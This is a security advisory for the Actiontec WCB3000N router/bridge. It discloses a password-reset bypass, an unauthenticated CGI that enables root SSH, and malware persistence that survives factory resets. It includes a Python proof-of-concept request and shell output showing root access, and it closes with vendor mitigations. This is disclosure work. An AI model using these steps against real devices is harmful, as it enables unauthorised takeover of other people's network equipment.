Actiontec WCB3000N Privilege Escalation

Credit: Andrew Klaus
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

### Device Details Vendor: Actiontec (Telus Branded) Model: WCB3000N Affected Firmware: v0.16.2.5 Device Manual: * <>* Reported: November 2015 Status: Fixed on newest pushed firmware version CVE: Update is handled by the vendor, therefore no CVE needed. The Telus Actiontec WCB3000N is a access-point/bridge for MoCA, Gigabit Ethernet, and both 802.11AGN 2.4GHz and 5GHz wireless spectrums. It provides a web interface that allows control and configuration of each of these technologies. ### Summary of Findings The Forgot Password webpage (http://<device_ip>/forgot_password.html) asks for the deviceas physical serial number before the admin password can be reset. Any attacker on the same network as the device can pull the deviceas serial number from javascript without requiring physical access to the device and can then reset the user password. SSH can be enabled and used by an attacker without any authentication. Files are stored, whether malicious or not, on the read-write partition and remain untouched after factory resets. Both of these attacks requires the attacker to be on the same local network as the access-point. ### Forgot Password Bypass There is a javascript function on the "forgot password page" called getDeviceSerialNum(). It calls the agotserialnum.cgia executable and places the deviceas serial number in the device_serial_num variable on each page load. This serial number variable can be viewed through the browser's developer console by reading the device_serial_num variable. Once the serial number is known, the password can be reset. The attacker needs to be on the same network as the WCB3000N device. ### Enabling SSH and accessing root console In the html on the Advanced Setup page, there are some references to a few pages that arenat displayed by the browser by default. By design, when accessing the /adv_localssh.html page we get automatically redirected the the /adv_manage.html page as seen in the javascript code. However, if we block the javascript from carrying through the redirect, we can see this page. Following the javascript and html form, a /advlocalssh.cgi executable is POSTed with form data without any authentication. The proof of concept code in python is here: import requests ssh_data = {"command": "apply", "mypage": "adv_localssh.html", "advanced_ssh_enable":"1", "advanced_ssh_username":"admin", "advanced_ssh_password":"admin", "advanced_ssh_port":"22", "advanced_ssh_timeout":"", "sel_ssh_timeout":"1800", "custom_ssh_timeout": ""} s = requests.session()"http://<device_ip>/advlocalssh.cgi", ssh_data) ## Before [~]$ nmap -p ssh PORT STATE SERVICE 22/tcp filtered ssh [~]$ python2 ## After [~]$ nmap -p ssh PORT STATE SERVICE 22/tcp open ssh [~]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@ admin@'s password: RLX Linux version 2.0 _ _ _ | | | ||_| _ _ | | _ _ | | _ ____ _ _ _ _ | |/ || |\ \/ / | || | _ \| | | |\ \/ / | |_/ | |/ \ | || | | | | |_| |/ \ |_| |_|\_/\_/ |_||_|_| |_|\____|\_/\_/ For further information check: # ---------- ### Other Discoveries After gaining root access, other discoveries were made. Noticing the /mnt/rt_conf directory being mounted read-write (which I assume is for saving the config file state), I placed a dummy file in the directory and then factory reset the device. The SSH access reverted back to being disabled, but logging back into the device showed that the dummy file still existed in /mnt/rt_conf. OpenSSL is a very dated version (2006), and has 51 CVE vulnerabilities listed This could pose as a vulnerability when the device speaks over TR-069 and pulls firmware updates. # openssl version -a OpenSSL 0.9.8b 04 May 2006 built on: Fri May 31 13:10:19 CST 2013 platform: rsdk-linux options: bn(32,32) md2(int) rc4(ptr,int) des(idx,cisc,4,long) idea(int) blowfish(idx) compiler: rsdk-linux-gcc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -DTERMIO -Os -fomit-frame-pointer -Wall OPENSSLDIR: "/usr/local/ssl" Itas possible to both kill the TR-069 remote device management service and rewrite the config to disable. Once disabled, thereas no way that the vendor would be able to communicate with the device to patch. ### Plausible Uses An attacker could keep malware stored and have it survive both reboots and factory resets. Since thereas a full terminal present on the device along including utilities such as tcpdump and scp, it would be trivial to to sniff traffic and Man-in-the-Middle connections passing through the bridge. DoSsing or bricking the device would likely be as simple as clearing the failsafe configs, or writing over the boot and/or firmware partitions. I canat confirm this hypothesis since it would mean killing a device I use. ### Mitigations Remove the SSH CGI scripts from the firmware or at the very least do server-side authentication of the user. Remove agotserialnum.cgia and process all validation server side, not with javascript.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top